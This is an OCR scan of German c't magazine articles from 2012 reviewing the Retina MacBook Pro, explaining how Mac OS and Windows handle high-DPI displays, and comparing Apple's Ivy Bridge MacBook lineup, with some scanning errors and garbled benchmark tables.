hier getesteten Konfiguration, als 900X4B ist
eine dhnliche mit Core-i-Prozessor der zwei-
ten statt dritten Generation erhaltlich.

Fazit

Apple zeigt allen Windows-Notebook-Her-
stellern, was technisch moglich ist: Ein so fla-
ches Gehéuse bei dieser Leistungsklasse gab
es bislang nicht, und das hochauflésende
Display macht einfach Spal - sei es bei der
Bildbearbeitung, beim Videoschnitt oder ein-
fach nur beim Websurfen. Sicher, Lenovos
ThinkPad T520 hat mehr Schnittstellen und
Laufzeit, aber eben auch ein doppelt so di-
ckes, schwereres Gehduse; das Display ist
matt und farbgewaltig, zeigt aber ,nur” Full-
HD-Auflésung. Samsungs 900X4C ist flacher
und leichter, bietet aber nur einen Bruchteil
der Performance. Dell XPS 15 ist ein flaches,
leistungsstarkes Notebook, aber eben doch
eher ein Konkurrent des normalen MacBook
Pro und nicht des Retina-Modells.

Mit Preisen zwischen 2300 und 4000 Euro
liegt das Retina-MacBook in einer ganz ande-
ren Preisregion als viele Windows-Notebooks,
doch wer so viel Geld ausgeben kann und will,
bekommt dafiir ein stimmiges Gesamtwerk,
das - typisch Apple - in vielen Richtungen zu
Ende gedacht wurde. Das lassen viele Win-
dows-Gerdte vermissen, weil die Hersteller
eher in Richtung Produktionskosten und an-
visierte Preispunkte denken denn in Richtung
technische Innovation. Windows-Notebooks
in diesem Preisbereich sind entweder mobile
Workstations oder dicke Gaming-Klopper.
Beide Kategorien bieten viel Power, lassen
aber flache Gehduse, geringes Gewicht und
lange Laufzeiten vermissen — und Gaming-Ge-
rate zusatzlich hdufig auch noch zurtickneh-
mendes Design und Wertigkeit.

Der hohe Preis des MacBooks duirfte auch
damit zusammenhangen, dass es kaum so
grof3e, hochauflésende Panels gibt: Experten
rechnen damit, dass innerhalb der néchsten
Monate lediglich rund 2 Millionen hochauf-
I6sende Notebook-Displays die asiatischen
Panel-Werke verlassen kénnen — und die durf-
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te Apple allesamt schon eingekauft haben.
Das gro3e Fragezeichen ist, wann die Herstel-
ler von Windows-Notebooks mit hochauf-
I6senden Bildschirmen jenseits von 200 dpi
aufwarten. Die ndchste Portfolio-Aktualisie-
rung steht bei allen Herstellern erst mit Win-
dows 8 auf dem Programm. Sie durfte viel
Entwicklungskapazitat binden: fiir Treiber, fur
Touch-Notebooks beziehungsweise Tablets
mit Windows und an vielen anderen kleinen
Baustellen. Nach unseren Einschatzungen
wird sich deshalb wohl niemand gleichzeitig
noch die Anpassungen an ein extrem hoch-
auflésendes Display ans Bein binden. Damit
ist das Weihnachtsgeschaft in dieser Hinsicht
wahrscheinlich gegessen. Selbst wenn die
hochaufldsenden Windows-Notebooks dann
im Frihjahr endlich kommen sollten, werden
die Bildschirme wie bei Apple erst einmal im
Hochpreissegment Einzug halten.

Nicht zuletzt darf man nicht vergessen,
dass es derzeit nicht danach aussieht, als ob
Intel oder Microsoft besonders hochauflésen-
de Bildschirme pushen wirden. Leider hat die
Vergangenheit gezeigt, dass die Notebook-
Hersteller ziemlich einfallslos sind, wenn sie
keine BranchengroBe antreibt. Intel musste
beispielsweise erst seine Ultrabook-Kam-
pagne starten, damit auch andere Hersteller
schicke, flache Subnotebooks auf den Markt
brachten - Jahre nach dem ersten MacBook
Air. Wir sind deshalb skeptisch, dass sich auf
absehbare Zeit ein Windows-Notebook-Her-
steller an einem flachen und leichten Power-
Notebook nach Art des Retina-MacBook ver-
sucht — selbst ohne so ein Display. Das ist
umso argerlicher, weil ein MacBook zwar eine
Windows-Nutzung zuldsst, aber darunter
nicht so rund lauft wie unter Mac OS X. (mue)
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Jorg Wirtgen

Viel hilft viel

Hochauflésende Displays unter Mac OS und Windows

Apples Display im MacBook Pro mit 220 dpi ist das erste, bei dem gute
Augen allein nicht reichen, sondern man braucht die Unterstiitzung des
Betriebssystems und aller Anwendungen. Mac OS und Windows gehen
dabei unterschiedliche Wege, gerade im Umgang mit externen Monitoren
und beim Bandigen unwilliger Programme.

Wéihrend Computer-Monitore ungeféhr
eine Pixeldichte von 100 dpi haben,
gibt es bei Notebooks schon lange Bildschir-
me mit hoheren Pixeldichten. So hatten die
15-Zoll-Panels mit 1600 x 1200 Punkten 133
dpi, 1920 X 1200 Punkte auf 15,4 Zoll sind
147 dpi und 1920 x 1080 auf 15,6 Zoll sind
141 dpi [1]. Da man naher am Notebook-Dis-
play sitzt als am Monitor, kommen die meis-
ten Anwender mit rund 120 dpi, einige sogar
bis 140 oder 160 dpinoch gut zurecht.

Das MacBook-Display mit 220 dpi ist ohne
weitere Unterstlitzung des Betriebssystems
allerdings unbrauchbar - unter per Boo
Camp installiertem Windows kann man sich
einen Eindruck davon verschaffen, wie klein
alles wird: Schaltflachen trifft man kaum,
Schriften sind quasi nur mit dem Kopf lber
der Tastatur lesbar. Die URL-Zeile des Inter-
net Explorer ist beispielsweise nur 2,5 Milli-
meter hoch.

Unter Mac OS sind alle Bedienelemente
dagegen erst einmal genauso grof3 sind wie
auf einem Notebook mit 1440 x 900 Punk-
ten, nur scharfer.

Optimal sind beide Lésungen nicht. Win-
schenswert wdre beispielsweise, die vielen
Pixel fur zusatzliche Informationen zu nut-
zen. Kleinere Menis und Einstellregler lassen
in der Bildbearbeitung mehr Platz fur das
Foto, Programmierer freuen sich uber jede
zusatzliche Textzeile, in Strategiespielen ge-
winnt man wertvolle Ubersicht.

Mac OS

Apple nutzt zur Bewaltigung der hohen Auf-
I6sung einen Trick und unterscheidet zwi-
schen den physischen Display-Pixeln und
den virtuellen Betriebssystem-Pixeln. Alle
herkdmmlichen Anwendungen glauben, auf
einem 1440 x 900 Pixel groBen Display zu ar-
beiten. lhre Ausgabe wird von Mac OS hoch-
skaliert, was zu einer unscharfen, groben
Darstellung fihrt. Das betrifft auch die meis-
ten Dialogfenster der Anwendungen, ledig-
lich das Mend ist scharf.

Obwohl die skalierte Darstellung ungeféhr
dem entsprechen sollte, was man auf einem
100-dpi-Monitor sowieso nur sieht, wirkt sie
etwas schlechter, gerade im Vergleich zu den
knackscharfen Bereichen der Retina-ange-
passten Elemente. Bei Schriften und Grafiken
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fallt das starker auf, bei Fotos weniger. Fur
gelegentlich genutzte Programme reicht das
allemal, und auch als Notlésung, bis die Lieb-
lingsanwendungen umgestellt sind.

Wenn eine Anwendung speziell an das Re-
tina-Display angepasst ist, kann sie die volle
Auflosung nutzen und beispielsweise in
einem 100 x 100 virtuelle Pixel groen Be-
reich eine 200 x 200 echte Pixel grof3e Bit-
map anzeigen lassen. Ahnlich funktioniert
das auch auf dem iPad. Angepasste Anwen-
dungen lassen sich mit einem Haken bei ,In
niedriger Auflosung 6ffnen” im Infodialog
(Rechtsklick auf die Anwendung im Pro-
grammverzeichnis) in der hasslichen skalier-
ten Form starten. Anders herum ist es nicht
vorgesehen, eine unangepasste Anwendung
kleiner, also auf die physischen Pixel abgebil-
det, darzustellen.

Derzeit sind auBer Apples eigenen An-
wendungen wie Mail, Safari, iLife, Aperture
und Final Cut nur wenige angepasst; Twitter-
rific gehort beispielsweise dazu, Google hat
mit der Anpassung von Chrome begonnen.
Adobes Lightroom kann ein bisschen Retina:
Schriften erscheinen scharf, jedoch sind die
Regler und vor allem auch die Fotos nur ska-
liert zu sehen. Das Schwergewicht Photo-
shop ist gar nicht angepasst und skaliert Bil-
der und das gesamte Benutzer-Interface.

Rechentrick

Zum Verkleinern der Bedienelemente, also
zum Schaffen von mebhr Platz fur die Anwen-
dungen, greift Apple zu einem zweiten Trick:

- -N- -]

So sehen vier rote Linien mit zwei
virtuellen Pixeln Breite auf weilem
Grund in der 1680er-Darstellung aus:
ein oder zwei echte Pixel breit mit
Schattierungen mal rechts, mal links.

In den Systemeinstellungen kann man
neben der Retina-optimierten Darstellung
auch andere Aufldsungen einstellen, darun-
ter 1680 x 1050 und 1920 x 1200. Das Dis-
play wird allerdings weiter in der nativen
Auflésung angesprochen.

Der Bildaufbau findet mit der gleichen
Pixelverdoppelung wie oben beschrieben
statt und der fertige gerenderte Desktop
wird anschlieBend auf die echten 2880 x
1800 Pixel skaliert. In der 1920er-Einstellung
rendert Mac OS also ein Bild mit 3840 x 2400
Punkten und skaliert das dann um den Fak-
tor 0,75 herunter. Die dadurch zwangslaufig
entstehenden Unscharfen sieht man nur bei
genauem Hinsehen oder wenn man weil3,
dass einzelne Pixelstrukturen sichtbar sein
mussten. Schlechter sieht es in der 1680er-
Darstellung aus, weil die 3360 x 2100 Pixel
mit einem unginstigeren Faktor von 0,85714
umzurechnen sind.

Beides fuhrt zu verkleinerten Bedienele-
menten. Beispielsweise rendert Mac OS die
Safari-Adresszeile im Verdoppelungsmodus
mit 40 Pixeln Hohe, was in der 1440er-Dar-
stellung 4,6 Millimeter entspricht. In der
1680er-Darstellung werden daraus 34 Pixel,
4 mm; in 1920 ist die Zeile dann 30 Pixel
oder 3,5 Millimeter hoch.

Den nicht ans Retina-Display angepassten
Anwendungen sehen in der 1680- und vor
allem 1920er-Einstellung besser aus als unter
1440, weil die pixelige Struktur wieder etwas
kleiner gerechnet wird.

Dieser Modus fuhrt aber auch dazu, dass
eine Anwendung die Displaypixel nicht mehr
gezielt einzeln ansteuern kann. In einem
1000 Pixel breiten Bereich kann sie genau
2000 Pixel abladen, ohne Einfluss darauf, ob
Mac OS das dann zu 2000, 1714 oder 1500
echten Pixeln skaliert. Wie scharf beispiels-
weise Fotos (in 100-Prozent-Skalierung) sind,
|dsst sich dann in der 1680er- und 1920er-
Einstellung nicht mehr so prazise beurteilen
wie in 1440. In den meisten Féllen hat man
es aber sowieso schon mit skaliertem Aus-
gangsmaterial zu tun, und zum pixelgenau-
en Bearbeiten muss man eh so weit zoomen,
dass die Unschérfen nicht auffallen. Screen-
shots (Cmd+Umsch+3) speichert Mac OS tib-
rigens vor dem Runterrechnen in voller Auf-
l6sung.

Diese Pixelverdoppelung gilt nicht sys-
temweit, sondern nur fur das Retina-Display.
SchlieBt man einen externen Monitor an,
entsteht das Bild wie bisher direkt in der na-
tiven Auflésung. Die Safari-Adresszeile ist
dann 20 Pixel hoch, was auf Monitoren mit
100 dpi 5 mm sind.

Windows

Windows entkoppelt die Displayauflésung
und die GroBe der Bedienelemente. Das Dis-
play sollte man immer mit der vollen Auflo-
sung ansteuern, alles andere wirkt auch beim
Retina-Display unscharf. Wie gro8 Symbole,
Meniischriften und Ahnliches sein sollen,
richtet sich nach einer globalen Skalierung.
Die steht direkt nach der Installation auf 100
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Apple Yahoo!

PetaPixel

Above the North Pole

Michael Zhang - Jun 20, 2012 & Tweet

Prozent (96 dpi), was zu kaum lesbaren
Schriften flhrt - umzuschalten ist das unter
Systemsteuerung/Anzeige. 125 und 150 Pro-
zent kann man dort direkt wahlen, links fin-
det man auch einen Menipunkt zum Einstel-
len beliebiger Werte samt Anzeige der zuge-
horigen dpi-Werte. Allzu krumme oder hohe
Werte fihren zu unschonen Effekten wie pi-
xeligen Mauszeigern. Auf dem Apple-Display
liefern 150 oder 175 Prozent gute Ergebnis-
se, bei scharfen Augen auch 125.

Diese Einstellung ist allerdings nur ein
Multiplikator - Windows selbst wertet ihn
beim Zeichnen von Systemelementen wie
Scrollbalken aus, doch die meisten Anwen-
dungen ignorieren ihn einfach.

Seit Windows 7 greift das Betriebssystem
allerdings ein, wenn es glaubt, eine Anwen-
dung ignoriere den Faktor. Windows skaliert
sie dann inklusive Menl und aller Elemente
selbst hoch. Das Ergebnis ist wie unter Mac
OS brauchbar, aber schlechter als auf einem
Monitor mit einer vergleichbaren nativen
Auflosung. Viele Tools und Programme wer-
den skaliert dargestellt, darunter auch die
Browser Chrome und Safari.

Das Skalieren lasst sich fir jede Anwen-
dung einzeln ausschalten, und zwar in den
Eigenschaften des Start-Icons auf der Regis-
terseite Kompatibilitat unter ,Skalierung bei
hohem DPI-Wert deaktivieren”. Das lasst sich
auch global ausschalten, dazu muss man
beim Einstellen des dpi-Werts im Fenster fir
die benutzerdefinierte Textgréf3e den Haken
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Apple rendert
sogar ein Fenster
auf zwei Weisen,
wenn es liber
externen Monitor
(rechts) und Retina-
Display (links) ragt.

Hows (31D} ¢ Belteie v

h As Seen From

2 Bue 125

beim XP-Stil setzen. Die meisten Anwendun-
gen sind dann aber nicht gut bedienbar, weil
alle Elemente zu klein sind.

Die Schriften-Kantenglattung ClearType
sollte man Ubrigens eingeschaltet lassen,
denn sie fihrt selbst beim 220-dpi-Display zu
besseren Ergebnissen; ohne ClearType wirkt
besonders die Systemschrift durr.

Weitere Einstellungen kann man in der
Systemsteuerung unter Anpassung vorneh-
men, dort unten auf Fensterfarbe klicken und
dann auf erweiterte Darstellungseinstellun-
gen. Hier lassen sich verschiedene Schrift-
arten in Form und GroBe andern, aber auch
die Breite der Scrollbalken, die Abstande von
Icons und vieles mehr. Manche Anwendun-
gen nutzen diese Einstellungen allerdings an
Uberraschender Stelle, beispielsweise malt
Thunderbird alle Mail-Listen in der Dialog-
feld-Schriftart.

Anwendungen

Kaum eine Anwendung skaliert sich véllig
fehlerfrei korrekt hoch. Microsoft selbst
macht beispielsweise beim Internet Explorer
fast alles richtig, beldsst aber die Breite des
Seitenreiters immer auf 200 Pixel. So passt
immer weniger Text hinein, mit 100 dpi bei-
spielsweise ,heise online | IT-News, c't,i...”,
mit 150 dpi noch ,heise online | IT-..." und
mit 200 dpi nurnoch ,heise on...” — obwohl,
reicht doch. Libre Office hat unter Extras/Op-
tionen/LibreOffice/Ansicht einen eigenen

85



7-Tage-News Archiv Foren

Neve Dormabs Videos auf heise onfine
ICANN stoppt Bearbeitung der Bewerbungen 123 4 s 7
Die Netzversatiry hat die Bearbeitung Video-Hotline
lican der Aririiga auf neve Top-Level- Tipps fir Windows, Mac 08 X
Domains und dos krilisirie "digitaie und metw in Form kurzer Video-

[}
In der 1440er-Einstellung zeigt Safari eine 960 HTML-Pixel breite Internetseite
auf 1920 Pixel oder 221 Millimeter Breite an. Die Schriften sind prima lesbar.

R Oupmsias
ICANNstoppt ... der Bowerbungen

In der Einstellung ,mehr Flache” (virtuell 1920 x 1200) wird die Seite ebenfalls mit 1920 Pixeln
gerendert, Mac OS skaliert sie dann aber auf 1440 Pixel/166 Millimeter.

Newsticker  7-Toge-News Archiv  Foren
NEWS  Newsticker 7-Tage-News Archiv  Foren
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Unter Windows stellen die Browser die Website mit 960 Pixeln auf 110 Millimeter (links im Internet Explorer)
dar. Per Strg+Plus kann man sie vergroBern (rechts in Chrome), nicht aber die Bedienelemente.

Lightroom unter Windows zeigt Fotos knackscharf, die Paletten kann man aber nur zwischen sehr klein
und unbrauchbar klein umstellen. Unter Mac OS sind die Paletten breiter, die Fotos aber unscharf.
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¥ Eigenschaften von Google Chrome

Details
Kompatibilitat

Falls dieses Programm Probleme verursacht, wahlen Sie den
Kompatibiitatsmodus, der mit der fruheren Windows- Version
Ubereinstimmt, unter der das Programm richtig funktionierte,

Hilfe beim Auswahlen der
Kompatibilitatsmodus

m ausfihren

VP (Service Pack 3) =

Einstellungen
Mit 256 Farben ausfuhren
In Bildschirmaufisung 640 x 480 ausfuhren
Visuelie Designs deaktivieren
Desktopgestaltung deaktivieren

Skalierung bei hohem DPI-Wert deaktivieren

Berechtigungsstufe

Programm als Administrator ausfuhren
@ Einstellungen fur alle Benutzer andem

Abbrechen Ubeinehmen

Skalierungsfaktor fur das gesamte Office-
Paket, vergisst aber einzelne (zum Glick un-
wichtige) Elemente wie die Tabellenreiter im
Calc-Modul.

Wenn eine Anwendung sich komisch ver-
halt, lohnt es sich, wie oben beschrieben mit
den Windows-SchriftgroBen zu experimen-
tieren. Beispielsweise richtet sich Firefox fiir
die GroRe von Adresszeile und Tab-Titel nach
der Dialogschrift. Chrome nimmt diese
Schriftart fur den Tab-Titel, zeichnet dann
aber den SchlieBen-Knopf falsch.

Viele Anwendungen haben interne Zoom-
Moglichkeiten. Die beziehen sich allerdings
im Allgemeinen nur auf die Inhalte, wéahrend
die Bedienelemente klein bleiben. So kon-
nen alle Browser und viele Editoren und Of-
fice-Programme  mit  Strg+Plus  und
Strg+Minus Webseiten, Texte und Tabellen
vergréBern und verkleinern.

Die meisten Anwendungen merken sich
das auch beim ndchsten Start. Firefox vergisst
den Zoom-Level, was aber das Add-on
Default FullZoom Level behebt. In Chrome
kann man sowohl die standardmaBige Zoom-
stufe einstellen (vergroéBert oder verkleinert
die gesamte Website samt Bildern) als auch
die SchriftgroBe dndern (skaliert die Bilder
nicht, verandert also die Anmutung des Lay-
outs), doch wir haben keine Mdglichkeit ge-
funden, die Adresszeile zu vergroBern.

Einige Anwendungen lassen sich aber mit
keinem der Tricks in den Griff bekommen. So
ignoriert Lightroom samtliche Einstellungen
und bietet fir die seitlichen Elemente nur
zwei Schriftgréflen an - klein und unbrauch-
bar klein. So lassen sich die Schriften kaum
entziffern und die Regler kaum mitder Maus
treffen.

Fazit

Die beiden Betriebssysteme verfolgen unter-
schiedliche Strategien. Mac OS nimmt den
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Die Systemschrift (hier unter anderem
die Einstellungen zum Ausschalten
des Skalierens einer Anwendung)
wird ohne ClearType diirr gerendert.

Programmierern viel Arbeit ab. Eine saubere
Skalierung aller Anwendungen bekommt
man allerdings nur im Retina-optimierten
Modus von 1440 x 900 Pixel. Dann hat man
aber ganz schon groBe Schriftarten - ein
Ruckschritt gegentiber den MacBook-Varian-
ten mit 1680 x 1050 Pixeln. Fans von viel
Desktop-Platz, die 24- oder 27-Zoll-Monitore
gewohnt sind, durften zur oder
1920er-Einstellung tendieren (und vielleicht
eine weitere Stufe wie 2400 x 1500 vermis-
sen), aber dann skalieren selbst Retina-ange-
passte Anwendungen leicht unsauber. Im-
merhin funktioniert das dank 220 dpi gut, so-
dass es nur fur Anwender mit besonders
guten Augen ein mehr als theoretischer
Nachteil ist.

Windows kiimmert sich nur um die Skalie-
rung der Systemelemente und verlagert viel
Logik in die Anwendungen. Sie missen sich
um viel mehr kimmern, was offensichtlich
nur wenige Programmierer getan haben.
Vorteile sind, dass die Anwendungen immer
Zugriff auf die volle Displayauflésung haben
und dass man die Darstellung der meisten
nicht angepassten Anwendungen zwischen
scharf oder hochskaliert umschalten kann. In
der Praxis wahlt man je nach Geschmack
125, 150 oder 175 dpi und passt vielleicht
noch ein paar Schrift- und Elementgrofen
an. Dann uberprift man jede Anwendung
einzeln darauf, ob sie der Windows-Skalie-
rung unterzogen wird, ob sie ohne besser
aussieht und welche weiteren Einstellungen
man findet. Und selbst dann zeigen einige
Anwendungen wie Lightroom trotz aller Be-
mihungen unveranderbar kleine Bedienele-
mente.

Den Mischbetrieb mit externen Monitoren
beherrscht Mac OS besser als Windows, weil
dort alles so aussieht wie immer, ohne jede
Skalierung. Windows zeigt extern dagegen
auch alles mit dem Skalierungsfaktor vergro-
Bert an, mehr als 125 Prozent wirken als
Platzverschwendung.

Die hohe Display-Auflésung lohnt sich tb-
rigens unter beiden Systemen: Auch wenn
das Ergebnis noch nicht perfekt ist, erhalt
man auf dem Apple-Display eine bessere
und scharfere Darstellung als auf Full-HD-
Displays dieser GroRe. Die gefiihlte Arbeits-
flache entspricht eher der eines 27-Zollers.
Die Scharfe wirkt schnell natdrlich, und alles
unter 160 dpi empfindet man dann als grob-
pixelig. (jow)

Literatur

[1] Jorg Wirtgen, Scharfer unterwegs, Notebooks
mit hochauflésenden Displays, c't 6/12, S. 136
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Johannes Schuster

MacBook-Parade

Acht Apple-Notebooks der neuen Generation

Neben dem brandneuen Retina-MacBook hat Apple auch liberarbeitete
Versionen samtlicher anderer Notebook-Modelle vorgestellt - ebenfalls
mit Ivy-Bridge-Architektur und USB 3.0.

b MacBook Pro oder Mac-

Book Air: Seit dem 11. Juni
gibt es alle Mobilrechner von
Apple in neuen Konfigurationen
mit schnelleren Prozessoren,
neuen Grafikchips und erstmals
USB 3.0. Die Preise sind dabei in
den USA gleich geblieben, bei
uns aufgrund des momentan
schlechteren Dollarkurses etwas
gestiegen. Das 17-Zoll-MacBook
wurde eingestellt.
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AuBerlich haben sich die
Gerate kaum verandert, nur die
USB-3.0-Buchsen mit mehr Kon-
takten sehen ein klein wenig
anders aus. Beim MacBook Air
schrumpfte obendrein  der
Stromanschluss wie beim Retina-
Modell um etwa 1,5 Millimeter in
der Hohe; er hort jetzt auf den
Namen MagSafe 2. Alte Netzteile
und neue Buchsen verbindet ein
10 Euro teurer Adapter.

Im Inneren aller MacBooks
kommen jetzt Ivy-Bridge-Prozes-
soren und Serie-7-Chipsatze zum
Einsatz. Erstere fertigt Intel in 22-
statt 32-Nanometer-Prozess, so-
dass sie kompakter ausfallen und
weniger Energie verbrauchen.
Gegenuber der Sandy-Bridge-
Generation hat Intel zudem die
Turbo-Boost-Funktion verbes-
sert. Dabei kann ein Teil der
Kerne um 800 bis 1000 MHz

hoher takten. Bei den Quad-
Cores in den 15-Zoll-Modellen
laufen nun zwei Kerne statt nur
einem mit voller Turbo-Frequenz
(siehe Tabelle).

Von der Turbo-Funktion pro-
fitieren im Prinzip jene Program-
me, die noch nicht oder unvoll-
standig an das Multi-Threading
angepasst wurden.Von den 100
bis 200 MHz héheren Basistak-
traten hat jedwede Software
etwas. In unseren Benchmarks
legten durch die neue Architek-
tur die Leistungen bei CPU-lasti-
gen Aufgaben prozentual deut-
lich stérker zu als die Gigahertz-
Zahlen. Ein Beispiel: Das Mac-
Book Air 11" mit 1,7 GHz arbeitet
um 100 Mhz schneller, das sind
6,25 Prozent. Die Leistungen bei
Cinebench 11, iTunes und
QuickTime stiegen aber um
rund 25 Prozent.

Die Air-MacBooks haben auch
bei plattenlastigen Aufgaben
kréftig zulegen konnen, etwa
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beim Umkodieren von Filmen
mit DVD20ne. Die jetzt verwen-
deten SATA-6G-SSDs liefern
beim Lesen deutlich tUber 500
MByte/s und schreiben bis zu
470 MByte/s. Die SATA-II-Vor-
ganger schafften nur die Halfte.

Den (nicht erweiterbaren) Ar-
beitsspeicher hat Apple bei allen
Air-Modellen auf mindestens
4 Gigabyte vergroBert - die man
auch braucht. Die jeweils teure-
ren Varianten der Pro-Baureihen
mit 13- und 15-Zoll-Display brin-
gen nun 8 statt 4 GByte RAM mit.
Uberall kommen statt DDR-
1333- jetzt DDR3-1600-Module
zum Einsatz.

Grafik

Die zweite gro3e Neuerung von
Ivy Bridge ist die auf dem Prozes-
sor-Die integrierte Grafik Intel
HD 4000. Gegeniiber der HD
3000 mit 12 verfugt sie Uber
16 Execution Units zur 3D-Be-
schleunigung. Als Bildspeicher
wird ein Teil des Hauptspeichers
abgezwackt: Bei 8 GByte RAM
sind es 512 MByte, ansonsten
384. Im MacBook Pro 13" und
den Air-Modellen erbrachte die
neue Prozessorgrafik eine Stei-
gerung um bis zu 50 Prozent
und kann nun allméhlich mit der
Nvidia-Chipsatzgrafik vergange-
ner Tage mithalten. Mit ihr sind
auch halbwegs anspruchsvolle
Spiele wie Dirt Il und Starcraft |l
flissig spielbar, wenn man die
Auflésung oder die Details redu-
ziert.

Beim MacBook Pro 15" wech-
selt das Betriebssystem zwischen
der Intel- und der zuséatzlichen
dedizierten Grafik hin und her,
sofern man die Automatik nicht
in der Systemeinstellung Moni-
tor abschaltet. Apple hat den

MacBook Air 11" 1,6 GHz (2011)

GPU-Lieferanten AMD gegen
Nvidia getauscht und sich den
nagelneuen GeForce GT 650M
gesichert. Den Bildspeicher be-
lieB das Unternehmen je nach
Modell bei 512 oder 1024 MByte.

So ganz ausgereift scheinen
die OS-X-Grafiktreiber noch nicht
zu sein, denn bei einigen Aufga-
ben wie Cinebenchs OpenGL-
Test schafften die Nvidia-Chips
nicht einmal das Ergebnis der ei-
gentlich langsameren AMD-Vor-
ganger. Bei Spielen wie Starcraft
II' und Quake Wars erreichten sie
hingegen einen erkennbaren
Vorsprung.

Lifter und Akku

Mogen die neuen Chips energie-
sparend sein - die hohere Tak-
tung und zusatzliche Grafikein-
heiten treiben die Hitzeentwick-
lung bei Belastung doch wieder
nach oben. Im Volllastbetrieb
blasen die Lufter kréftig, beson-
ders bei starker GPU-Beanspru-

MacBook Air 11" 1,7 GHz (2012) .24 . 14,98 47
MacBook Air 13" 1,7 GHz (2011) 2,15 10,19 I 49
MacBook Air" 1,8 GHz (2012) 261 - 17,41

MacBookPro 13" 2,4 GHz (Spat 2011)  mmmm 2,67 . 12,00 —_— 42
MacBook Pro 13" 2,5 GHz (2012) - 2,89 16,81 I 40
MacBook Pro 13" 2,8 GHz (Spat 2011) 3,07 mm 11,88 E— 36
MacBook Pro 13" 2,9 GHz (2012) 3,38 19,55 [___F}
MacBook Pro 15" 2,2 GHz (Spat 2011) e 5,16 G 3865 (S 40
MacBook Pro 15" 2,3 GHz (2012) IS 6,24 O 346) (. 36
MacBook Pro 15" 2,4 GHz (Spat 2011)  EEE——— 5,58 42,59 34
MacBook Pro 15" 2,6 GHz (2012) 6,79 CEEEE— 37,09 33
MacBook Pro 15" 2,6 GHz Retina O 6,49 G 3761 . 32
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Die Pro-MacBooks mit 15- und 13-Zoll-
Display blieben duBerlich fast unverandert.
Den 17-Z6ller wird es nicht mehr geben.

chung, etwa 3D-Rendering in
Cinebench oder Spiele wie Dirt Il.
Apple hat allerdings das Lufter-
management verbessert: Die
Drehzahl steigt nicht so pl6tzlich
an wie bei den Vorgangern, son-
dern allmahlich. Das Ergebnis
bleibt jedoch laut und unange-
nehm. Bei normaler Last sind

samtliche MacBooks jedoch
nicht zu horen.
Die Laufzeiten der Akkus

haben sich ebenso wie deren Ka-
pazitdten kaum verandert. Mit
stark gedimmter Helligkeit von
100 cd/m? und leichter Last hielt
das MacBook Air 13" mit 10,5
Stunden am léngsten durch, das
MacBook Pro 15" folgte mit rund
10 Stunden. Dicht auf lag das
MacBook Pro 13" mit Gber 9 Stun-
den. Beim kleinen MacBook Air
machte der Akku bereits nach
weniger als 8 Stunden schlapp.
Unter Windows 7 drehten wie
gehabt die Lufter friiher auf und
wurden lauter. Ansonsten funk-
tionierte alles wie gewohnt, ein-

schlieBlich der hakeligen Track-
pad-Ansteuerung.

Displays

Die Displays hat Apple nicht ver-
andert. Beim MacBook Air 11" fiel
uns ein Kontrastabfall beim Blick
von unten auf, auch die Farben
zeigten sich nicht ganz so winkel-
unabhdngig wie bei den anderen
sechs Kandidaten mit TN-Panel
(das hier nicht angesprochene
Retina-Display arbeitet mit IPS-
Technik). Das MacBook Air 13"
wies die geringste Winkelabhan-
gigkeit beim Kontrast auf, die
Farben blieben bei allen 13- und
15-Z6llern bei seitlichem Blick
recht stabil. Die Pro-Modelle
taten sich dartiber hinaus mit sat-
ten Farben hervor, das Glas spie-
gelte aber sehr. Dem MacBook
Air fehlt die Scheibe und die
Glossy-Displays sind stark ent-
spiegelt. Dies fuhrte jedoch bei
manchen Blickwinkeln zu einem
violetten Schimmer.

XGA) [fps]

E— 9 — 3 — 186 S 697 . 9%
7 7 10 I (755 65
E— 63 [ ) - 173 2508 - 93
E— 66 [Py W 038 S 2393 . 76
N 59 [P N )27 [ 2594 - 101
I 59 S )3 I 207 [Pl - 30
51 I 20 [ pill W 1949 _— 120

N )5 S 187 W 2355 S 174
- 43 — 4 — 199 — 112 — 185
- 45 [ ___Wi I 165 I 2099 196
- 39 19 E 174 W 1928 194
- 39 . 16 [l W 1945 200
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USB 3.0

Lange mussten Apple-Kunden
darauf warten, aber nun findet
sich die Standardschnittstelle mit
verzehnfachter Geschwindigkeit
gleich in allen Neu-Macs aul3er
dem halbherzig renovierten Mac
Pro (den wir zum Test noch nicht
bekommen konnten). Da die
Buchsen auf Rechner-Seite voll
kompatibel zum 2.0-Standard
sind und die 3.0-Spezifikation
auch den Betrieb von élteren Ge-
raten vorsieht, gibt es keine
Nachteile: Bisher verwendete
Mause, Tastaturen, Sticks und
Festplatten liefen im Test pro-
blemlos an den neuen MacBooks.

Um die maximale Geschwin-
digkeit auszuloten, besorgten wir
uns das schnellste USB-3.0-Ge-
hduse aus dem letzten Ratgeber
in c't 13/12, das Silverstone SST-
RVS02, und betrieben darin ver-
schiedene SATA-6G-SSDs aus
dem Test in Mac & i-Heft 6. Beim
Schreiben war Intels SSD 520 mit

MacBook Air mit 13- und 11-Zoll-Bild-
schirm behalten die Displays, das neue Ivy-Bridge-
Innenleben und schnelle SSDs sorgen fiir mehr Dampf.

234 MByte/s die schnellste Platte,
beim Lesen schaffte die Crucial
M4 275 MByte/s. Da am PC die
Ubertragungsraten  paradoxer-
weise noch etwas anstiegen,
wenn man den Tiefschlaf mindes-
tens eines Prozessorkerns verhin-
derte, probierten wir es anschlie-
Bend noch einmal mit Messun-
gen, wahrend Cinebench 10 mit
einem Kern renderte. Das Maxi-
mum lag nun lesend bei 308
MByte/s und damit genau auf
dem Niveau von PCs mit Win-
dows 8. Apple hat also die Treiber
far USB 3.0 auf Anhieb auf volle
Geschwindigkeit optimiert. Trotz-
dem erreichten die SSDs nicht
ihre volle Geschwindigkeit wie
am nativen SATA oder einem
Thunderbolt-Gehaduse. Von dieser
Schnittstelle hat jedes getestete
Gerat nach wie vor nur eine Buch-
se und nicht wie das Retina-Mo-
dell deren zwei.

Das Booten von einer SSD im
besagten USB-3.0-Gehé&use funk-
tionierte nicht, obwohl die Parti-

tion in der Systemeinstellung
LStartvolume” angezeigt wurde
und ausgewahlt war. Verwende-
ten wir stattdessen einen
schlichten Adapter von Asus,
klappte es problemlos. Mehr zu
Steckern, Vorteilen und Beson-
derheiten von USB 3.0 am Mac
erklart ein Artikel auf Mac &i on-
line (siehe c't-Link).

Wabhlhilfe

Welches MacBook den personli-
chen Anspriichen und finanziel-
len Méglichkeiten am besten
entgegenkommt, muss jeder
selbst entscheiden - hier nur ei-
nige Empfehlungen. Das Retina-
Modell bietet von allen am meis-
ten: Neben dem fantastischen
Display kombiniert es SSD und
Quad-Core-CPU in einem kom-
pakten und leichten Gehause.
Bei Laufzeit, Erweiterungs- und
Reparaturfreundlichkeit hat es
